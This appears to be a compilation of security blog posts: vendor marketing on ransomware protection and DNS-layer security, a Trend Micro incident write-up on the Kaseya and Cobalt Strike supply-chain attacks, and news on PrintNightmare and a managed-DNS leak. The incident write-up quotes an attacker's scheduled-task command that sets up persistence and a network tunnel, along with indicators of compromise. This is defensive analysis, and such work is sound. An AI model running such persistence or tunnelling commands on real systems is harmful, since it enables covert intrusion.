The cost of ransomware attacks: Why and how you should protect your data

As the COVID-19 pandemic ravaged the world in 2020, ransomware attacks grew to epidemic proportions of their own. Almost every day, both large and small companies across every industry — all lacking ransomware protection — were attacked. Now with incidents on the rise, organizations are rushing to implement data protection strategies to reduce their exposure.

By 2031, ransomware is likely to cost victims more than $250 billion annually, with a new attack occurring every 2 seconds.1

But, while everyone can agree that ransomware is a major threat, what are the actual costs that come with a ransomware attack? And, more importantly, what can you do to defend yourself from them?

What is ransomware?

Ransomware is malicious software (malware) used in a cyberattack to encrypt a victim’s data with a key known only to the attacker, rendering the data unusable until a ransom payment (usually cryptocurrency like Bitcoin) is paid by the victim. Ransomware activity has become pervasive, impacting 50% of organizations in 2020.2

Recently, however, ransomware incidents have become even more insidious. In the past, attackers would simply force companies to pay a ransom to unlock data. Today, 70% of occurrences employ double extortion tactics, where attackers exfiltrate and steal sensitive company information to coerce companies to pay even more.3 If payment isn’t made, the attackers leak the data onto the dark web.

The real costs of ransomware attacks

Ransomware has many costs, from the ransom amount to the costs of recovering from the occurrence to the damage to your organization’s brand. All of the costs add up to significant amounts and can take a major toll on your business.

Ransom costs

2020 was a very good year for ransomware attackers. The number of companies willing to pay increased, as did the size of the payouts.

Remediation costs

Beyond the ransom itself, there are the costs it takes to recover from an attack — including investing in IT resources to rebuild servers and recover data. There are also the costs of the disruption to the business, like lost revenue incurred from downtime.

Intangible costs: more than money

Beyond the direct costs of ransom and remediation, there are the soft costs of PR fiascos, brand erosion, and the reduced confidence of customers and partners. In addition, boards of directors and governments are starting to require immediate reporting of cybersecurity incidents, which take resources and incur more costs. For example, the U.S. Transportation Security Administration (TSA) will require pipeline companies to report incidents within 12 hours.

Using a modern cloud-native security solution for ransomware protection

While ransomware attacks are on the rise — and more costly than ever — there are risk mitigation strategies that you can take to defend against attacks and other cybersecurity threats. Cisco Umbrella, the cloud-native, multi-function security service, unifies firewall, secure web gateway (SWG), DNS-layer security, cloud access security broker (CASB), and threat intelligence into a single cloud service to help businesses of all sizes secure their network against ransomware and cybersecurity threats.

So, how exactly does Cisco Umbrella provide ransomware protection?

Blocks the first phase of attack — malicious internet requests at the DNS layer

Ransomware attackers need to stage internet infrastructure before they can launch an attack. Cisco Umbrella stops ransomware attacks early by blocking internet connections to the malicious sites that serve up ransomware. Cisco Umbrella enforces security at the DNS and IP layers, processing 220 billion internet requests for more than 20,000 businesses every day, preventing users from ever accessing most malicious content sites.

Unifies other security services for robust protection — anywhere and everywhere

With users accessing data and apps both on and off network and on many types of devices, ransomware security needs to be everywhere. Instead of a variety of individual standalone security solutions, Cisco Umbrella combines DNS-layer, firewall, SWG, CASB, and threat intelligence functions into a single cloud service to help businesses of all sizes secure their users, applications, and data, wherever they are.

Leverages unmatched threat intelligence

The best defense is a good offense. Cisco Umbrella uses intelligence from Cisco Talos, one of the largest commercial threat intelligence teams in the world, to offensively discover and block new threats before they become attacks. In addition, backed by more than 300 researchers, Cisco Umbrella uncovers and blocks a broad spectrum of malicious domains, IPs, URLs, and files being used in attacks.

Delivers proven performance against threats

Cisco Umbrella has a track record of tried-and-tested threat detection and security efficacy, backed by third-party validation. AV-TEST, an independent security organization, conducted a study of threat efficacy among leading cloud security vendors. Cisco Umbrella received top marks across the board, with a 96.39% threat detection rate — the highest in the industry.10

Take preventative action to defend your data

Ransomware attacks and their associated costs pose a serious threat to your business. But there are ways to defend against ransomware and mitigate the risks. Cisco Umbrella uses multiple, advanced security functions to provide protection from ransomware and other security threats. Want to learn even more about how to defend your data? Download the Ransomware Defense for Dummies ebook.

1 Brave, David, Global Ransomware Damage Costs Predicted to Reach $250 Billion (USD) by 2031, Cyber Security Ventures, June 1, 2021.
2 2021 Cyber security threat trends – phishing, crypto top the list, Cisco, June 1, 2021.
3 Brave, David, Global Ransomware Damage Costs Predicted to Reach $250 Billion (USD) by 2031, Cyber Security Ventures, June 1, 2021.
4 Highlights from the 2021 Unit 42 Ransomware Threat Report, Palo Alto Networks, March 17, 2021.
5 Highlights from the 2021 Unit 42 Ransomware Threat Report, Palo Alto Networks, March 17, 2021.
6 Yeap, Yuen Pin, Why Ransomware Costs Businesses Much More Than Money, Forbes, April 30, 2021.
7 Scroxton, Alex, Average Ransomware Cost Triples, Says Report, Computer Weekly, March 17, 2021.
8 Yeap, Yuen Pin, Why Ransomware Costs Businesses Much More Than Money, Forbes, April 30, 2021.
9 Andrus, Danielle, Ransomware Incidents, Costs On the Rise, and No Target Is Too Small, Benefits Pro, May 5, 2021.
10 DNS-Layer Protection & Secure Web Gateway Security Efficacy Test, AV-TEST, February 2021.

Source :

Supply Chain Attacks from a Managed Detection and Response Perspective


Modern technology has made managing large IT environments much less daunting compared to the past, when each endpoint had to be manually configured and maintained. Many organizations now use tools and IT solutions that allow centralized management of endpoints, making it possible to update, troubleshoot, and deploy applications from a remote location.

However, this convenience comes at a price — just as IT staff can access machines from a single location, the centralized nature of modern tech infrastructure also means that malicious actors can target the primary hub to gain access to the whole system.  Even more concerning, cybercriminals no longer even have to launch a direct attack against an organization — they can bypass security measures by focusing on their target’s supply chain. For example, instead of trying to find weak points in the system of a large organization that will likely have strong defenses, an attacker can instead target smaller companies that develop software for larger enterprises.

In this blog entry, we will take a look at two examples of supply chain attacks that our Managed Detection and Response (MDR) team encountered in the past couple of months.

Incident #1: Attack on the Kaseya platform

On July 2, during the peak of the Kaseya ransomware incident, we alerted one of our customers, notifying them about  ransomware detections in their system.  

Figure 1. The timeline of the incident

Our investigation found suspicious activity when the file AgentMon.exe, which is part of the Kaseya Agent, spawned another file, cmd.exe, that is responsible for creating the payload agent.exe, which in turn dropped MsMpEng.exe

By expanding our root cause analysis (RCA) and checking the argument for cmd.exe, we were able to see a few items before the execution of the ransomware. These initial set of indicators of compromise (IoCs) are similar to the ones discussed in another blog post.

Figure 2. Vision One console showing the attack’s infection chain

We found that the malware attempted to disable the anti-malware and anti-ransomware features of Windows Defender via PowerShell commands. It also created a copy of the Windows command line program Certutil.exe to “C:\Windows\cert.exe”, which is used to decode the payload file agent.crt, with the output given the name agent.exe.  Agent.exe is then used to create the file MsMpEng.exe, a version of Windows Defender that is vulnerable to DLL side-loading.

Figure 3. Details of the threat

Machine learning detection capabilities managed to block and detect the ransomware, however, the protection module was not activated in all the security agents of Trend Micro Apex One™ — so the organization’s support requested the team to check their product settings. Because the process chain showed that the ransomware came from a Kaseya agent, we  requested our customer to isolate the Kaseya servers to contain the threat.

A few hours later, Kaseya released a notice to their users to immediately shut down their Virtual System/Server Administrator (VSA) server until further notice.

Incident #2: Credential dumping attack on the Active Directory

The second supply chain incident handled by our MDR team starts with an alert to a customer that notified them of a credential dump occurring in their active directory (AD). The Incident View in Trend Micro Vision One™️ aggregated other detections into a single view, providing additional information on the scope of the threat. From there, we were able to see a server, an endpoint, and a user related to the threat.

Figure 4. Vision One’s incident view showing the threat’s details

Our threat hunting team also noted suspicious behavior related to WmiExec. Further investigation of the affected hosts’ Ownership Alignment Tools (OATs) show a related entry for persistence:

  • C:\Windows\System32\schtasks.exe /CREATE /RU SYSTEM /SC HOURLY /TN “Windows Defender” /TR “powershell.exe C:\Windows\System.exe -L rtcp:// -F mwss://” /ST 12:00
Figure 5. OAT flagging a suspicious creation of a scheduled task

We found scheduled tasks being utilized as a persistence mechanism for the file System.exe. Further analysis of this file shows that it is related to GO simple tunnel, which is used to forward network traffic to an IP address depending on the argument.

Checking the initial alert revealed a file common in the two hosts, which prompted us to check the IOC list to determine the other affected hosts in the environment.

Figure 6. Discovery commands and access to a malicious domain evident in the process chain

Expanding the nodes from the RCA allowed us to gather additional IOCs that showed setup0.exe creating the file elevateutils.exe. In addition, elevateutils.exe was seen querying the domain vmware[.]center, which is possibly the threat’s command-and-control (C&C) server. We also discovered the earliest instance of setup0.exe in one of the hosts.

The samples setup0.exe is an installer for elevateutils.exe which seems to be a Cobalt Strike Beacon Malleable C&C stager based on our analysis. The installer may have been used to masquerade as a normal file installation. 

Figure 7. The presence of EICAR strings is an indicator of it being of elevateutils.exe being a Cobalt Strike Beacon

The stager elevateutils.exe: will try to load the DLL chartdir60.dll, which will in turn read the contents of manual.pdf (these are also dropped by the installer in the same directory as elevateutil.exe). It will then decrypt, load, and execute a shell code in memory that will access the URL vmware[.]center/mV6c.

It makes use of VirtualAlloc, VirtualProtect, CreateThread, and a function to decrypt the shellcode to load and execute in memory. It also uses indirect API calls after decryption in a separate function, then uses JMP EAX to call the function as needed, which is not a routine or behavior that a normal file should have.

Since it’s possible that this is a Cobalt Strike Malleable C&C stager, further behaviors may be dependent on what is downloaded from the accessed URL. However, due to being inaccessible at the time of writing this blog post, we were unable to observe and/or verify other behaviors.

Use of the Progressive RCA of Vision One allowed us to see how elevateutils.exe was created, as well as its behaviors. The malicious file was deployed via a Desktop Central agent.

Figure 8. Viewing the behaviors of elevateutils.exe
Figure 9. The console showing the attack’s infection chain

Based on these findings, our recommendation to the customer was to check the logon logs of the affected application to verify any suspicious usage of accounts during the time the threat was deployed.

By closely monitoring the environment, the threat was stopped after the credential dump. Furthermore, the IOCs (IP addresses and hashes) were added to the suspicious objects list to block them while waiting for detections. Further monitoring was done and no other suspicious behavior were seen.

Defending against supply chain attacks

As businesses become more interconnected, a successful supply chain attack has the potential to cause a significant amount of damage to affected organizations.  We can expect to see more of these in the future, as they often lead to the same results as a direct attack while providing a wider attack surface for malicious actors to exploit.

Supply chain attacks are difficult to track because the targeted organizations often do not have full access to what’s going on security-wise with their supply chain partners. This can often be exacerbated by security lapses within the company itself. For example, products and software may have configurations — such as folder exclusions and suboptimal implementation of detection modules — that make threats more difficult to notice.

Security audits are also a very important step in securing the supply chain.  Even if third party vendors are known to be trustworthy, security precautions should still be deployed in case there are compromised accounts or even insider threats.

Using Vision One to contain the threat

Trend Micro Vision One provides offers organizations the ability to detect and respond to threats across multiple security layers. It provides enterprises options to deal with threats such as the ones discussed in this blog entry:

  • It can Isolate endpoints, which are often the source of infection, until they are fully cleaned or the investigation is done.
  • It can block IOCs related to the threat, this includes hashes, IP addresses, or domains found during analysis.
  • It can collect files for further investigation.

Indicators of Compromise (IoCs)

Incident # 1


SHA256Detection nameDetails

Incident # 2

SHA256Detection nameDetails
116af9afb2113fd96e35661df5def2728e169129bedd6b0bb76d12aaf88ba1ab Trojan.Win32.COBALT.AZSetup0.exe

IP addresses and domains

  • 185[.]215[.]113[.]213
  • vmware[.]center

    Source :

Using DNS-layer security to detect and prevent ransomware attacks

This year has seen a dramatic uptick in ransomware attacks, with high-profile incidents like the Colonial Pipeline attack or the Kaseya attack dominating news cycles. The frequency and cost of these attacks have prompted many cybersecurity professionals to investigate more robust ransomware protection solutions, like DNS-layer security. But how can you make sure your organization’s security posture is as effective as possible? That’s the question we set out to answer during our Black Hat 2021 session: Using DNS-layer security to detect and block dangerous campaigns.

At Cisco Umbrella, we’ve seen plenty of cyberattacks play out across vulnerable networks. Using the data we’ve gathered while researching emerging threats – including the recent wave of ransomware attacks – our team has developed a set of solutions that maximize our use of recursive DNS servers to improve security across networks. We’re confident that this approach to DNS-layer security can help keep your network safe from bad actors as well.

Did you miss our talk? Don’t worry – you can view the recorded session online or read the highlights below:

Observing DNS-layer activity can help you identify sophisticated threats

The Domain Name System (DNS) allows clients to connect to websites, perform software updates, and use many of the applications organizations rely on. Unfortunately, the DNS layer is also one of the least secure aspects of many networks: DNS packets are rarely inspected by security protocols and they pass easily through unblocked ports. So, it only makes sense that today’s sophisticated threats – including ransomware attacks – tend to operate at the DNS layer.

Of course, just because most security teams pay little attention to DNS-layer activity doesn’t mean that you have to do the same. In fact, you can configure your recursive DNS servers to gather data useful for designing and implementing proprietary defense algorithms or performing threat hunting at scale. For example, the Cisco Umbrella DNS resolvers gather data:

  • From authoritative DNS logs that can reveal potential attacks through newly staged infrastructures, BulletProofHostings, and malicious domains, IPs, and ASNs
  • From user request patterns that can reveal in-progress attacks through compromised systems and command and control callbacks

While partnering with a prosumer DNS-layer security provider like Cisco Umbrella is always an option when it comes to data gathering, we go into more detail on configuring your own recursive DNS servers to gather this data during our presentation.

Understanding how ransomware attacks happen can help you either prevent or mitigate threats

While the exact tactics, techniques, and procedures (TTPs) vary from scenario to scenario, most ransomware attacks tend to follow the same basic flow:

  • A client navigates to a compromised domain on the Internet, accidentally downloading a weaponized file containing a malicious program
  • The file launches an event chain designed to establish a post-exploitation framework on the affected network
  • The malicious program moves laterally to other computers on the network
  • Multiple computers are infected by the ransomware program, which encrypts all business-critical data

Starting in 2020, most ransomware attacks have added another step to the process: data exfiltration. Before encryption, the program transports business-critical data from the client’s network to the threat actor using DNS tunnels. This allows the threat actor to place additional leverage on their victim – instead of simply losing their data, companies find themselves facing the prospect of having that data leaked online or sold to the highest bidder on the dark web.

What’s more, since ransomware attacks can take as little as five hours to execute, detecting an in-progress attack can be difficult unless you have a strong DNS-layer security system designed to recognize these attacks.

Popular tools used in ransomware attacks rely on DNS-layer activity

Earlier, we mentioned how most ransomware attackers make use of the fact that network administrators don’t secure DNS-layer activity. In fact, we’ve observed that some of the most common attack frameworks rely heavily on DNS tunneling, both to gain a foothold across the network and to allow the threat actor to exfiltrate data or execute command and control attacks.

Examples of the attacks that make use of DNS tunneling techniques include:

  • The DNS beacon that originated in the CobaltStrike penetration testing tool used in most high profile ransomware attacks
  • Supply-Chain attack SUNBURST used DNS tunnelling during post-exploitation
  • APT group OilRig heavily leverages Data exfiltration through DNS tunnels in its cyber espionage campaigns

In our presentation, we go into more detail on the way these frameworks have been used by threat actors in the past and how they might be used in the future. But the common element these frameworks share – the use of DNS activity – is enough to suggest that DNS-layer security may become more important than ever as we prepare for upcoming attacks.

The strongest ransomware protection combines attack prevention and attack mitigation tactics

We’ve talked a lot about how the data gathered from recursive DNS servers can help identify threats. But DNS-layer security goes further than information gathering; a strong security posture should also help protect networks from attacks. At Cisco Umbrella, we configure our recursive DNS servers to do this in two ways: by preventing clients from connecting to suspicious domains – stopping attacks before they start – and by detecting unusual DNS-layer activity that could indicate an in-progress attack – allowing security teams to isolate infected systems and mitigate the damage.

Ransomware protection that prevents attacks

Using DNS-layer security to prevent ransomware attacks from occuring in the first place is an approach that many organizations favor, and with good reason: This tactic prevents any post-exploitation losses.

While the algorithms used by traditional recursive DNS servers will flag certain risky domains, this built-in defense often leaves much to be desired. It evaluates the domain’s age and reputation when determining whether a client should be allowed to connect to it, but allows bad actors to bypass these DNS-layer security protocols using staged domains in good repute.

At Cisco Umbrella, we work around this shortcoming by configuring our recursive DNS servers to flag any anomalous domains for deeper review before allowing clients to connect. This approach weeds out many more dangerous domains, minimizing the window of time in which a user is vulnerable from around 24 hours to mere minutes.

While the Cisco Umbrella team provides this service as part of our DNS-layer security offerings, we also discuss how you can configure your own resolvers to behave similarly in our presentation.

Ransomware protection that identifies in-progress attacks

While preventing the initial compromise may be the ideal form of protection, this approach is not a silver bullet. The tactics employed by threat actors constantly evolve, making it possible for certain ransomware attacks to slip past even the most tightly woven nets. This is why your DNS-layer security solution should also contain protocols that help it detect in-progress attacks.

For those looking to secure DNS activity, this involves incorporating a system that flags any anomalous DNS tunneling in a network. As mentioned earlier, most ransomware attacks make use of DNS tunneling to establish both bi-directional and unidirectional communication between an attacker and the systems on your network. If the DNS activity isn’t secure, this allows the threat actor to stay under the radar until their attack is nearly executed. But if your DNS-layer security solution carefully monitors network DNS activity, you can start mitigating the effects of an attack before they become catastrophic.

Cisco Umbrella offers DNS-layer security that helps protect clients from threats now and in the future

At Cisco Umbrella, we strive to offer customers the best protection possible by combining multiple detection and remediation techniques that help them prepare for the threats coming their way. This includes reactive DNS-layer security algorithms, real-time heuristics, and real-time behavioral detection. What’s more, we strive for as much transparency as possible, providing our clients with real-time statistics which we used when deciding to block connection to a domain.

Want to learn more about how Cisco Umbrella makes use of DNS-layer security to protect clients from ransomware attacks? Listen to our full Black Hat 2021 presentation!

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Ransomware Gangs Exploiting Windows Print Spooler Vulnerabilities

Ransomware operators such as Magniber and Vice Society are actively exploiting vulnerabilities in Windows Print Spooler to compromise victims and spread laterally across a victim’s network to deploy file-encrypting payloads on targeted systems.

“Multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward,” Cisco Talos said in a report published Thursday, corroborating an independent analysis from CrowdStrike, which observed instances of Magniber ransomware infections targeting entities in South Korea.

While Magniber ransomware was first spotted in late 2017 singling out victims in South Korea through malvertising campaigns, Vice Society is a new entrant that emerged on the ransomware landscape in mid-2021, primarily targeting public school districts and other educational institutions. The attacks are said to have taken place since at least July 13.

Since June, a series of “PrintNightmare” issues affecting the Windows print spooler service has come to light that could enable remote code execution when the component performs privileged file operations –

  • CVE-2021-1675 – Windows Print Spooler Remote Code Execution Vulnerability (Patched on June 8)
  • CVE-2021-34527 – Windows Print Spooler Remote Code Execution Vulnerability (Patched on July 6-7)
  • CVE-2021-34481 – Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)
  • CVE-2021-36936 – Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)
  • CVE-2021-36947 – Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)
  • CVE-2021-34483 – Windows Print Spooler Elevation of Privilege Vulnerability (Patched on August 10)
  • CVE-2021-36958 – Windows Print Spooler Remote Code Execution Vulnerability (Unpatched)

CrowdStrike noted it was able to successfully prevent attempts made by the Magniber ransomware gang at exploiting the PrintNightmare vulnerability.

Vice Society, on the other hand, leveraged a variety of techniques to conduct post-compromise discovery and reconnaissance prior to bypassing native Windows protections for credential theft and privilege escalation.

Specifically, the attacker is believed to have used a malicious library associated with the PrintNightmare flaw (CVE-2021-34527) to pivot to multiple systems across the environment and extract credentials from the victim.

“Adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively,” the researchers said. “The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.”

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Bugs in Managed DNS Services Cloud Let Attackers Spy On DNS Traffic

Cybersecurity researchers have disclosed a new class of vulnerabilities impacting major DNS-as-a-Service (DNSaaS) providers that could allow attackers to exfiltrate sensitive information from corporate networks.

“We found a simple loophole that allowed us to intercept a portion of worldwide dynamic DNS traffic going through managed DNS providers like Amazon and Google,” researchers Shir Tamari and Ami Luttwak from infrastructure security firm Wiz said.

Calling it a “bottomless well of valuable intel,” the treasure trove of information contains internal and external IP addresses, computer names, employee names and locations, and details about organizations’ web domains. The findings were presented at the Black Hat USA 2021 security conference last week.

“The traffic that leaked to us from internal network traffic provides malicious actors all the intel they would ever need to launch a successful attack,” the researchers added. “More than that, it gives anyone a bird’s eye view on what’s happening inside companies and governments. We liken this to having nation-state level spying capability – and getting it was as easy as registering a domain.”

The exploitation process hinges on registering a domain on Amazon’s Route53 DNS service (or Google Cloud DNS) with the same name as the DNS name server — which provides the translation (aka resolution) of domain names and hostnames into their corresponding Internet Protocol (IP) addresses — resulting in a scenario that effectively breaks the isolation between tenants, thus allowing valuable information to be accessed.

In other words, by creating a new domain on the Route53 platform inside AWS name server with the same moniker and pointing the hosted zone to their internal network, it causes the Dynamic DNS traffic from Route53 customers’ endpoints to be hijacked and sent directly to the rogue and same-named server, thus creating an easy pathway into mapping corporate networks.

“The dynamic DNS traffic we wiretapped came from over 15,000 organizations, including Fortune 500 companies, 45 U.S. government agencies, and 85 international government agencies,” the researchers said. “The data included a wealth of valuable intel like internal and external IP addresses, computer names, employee names, and office locations.”

While Amazon and Google have since patched the issues, the Wiz research team has also released a tool to let companies test if their internal DDNS updates are being leaked to DNS providers or malicious actors.

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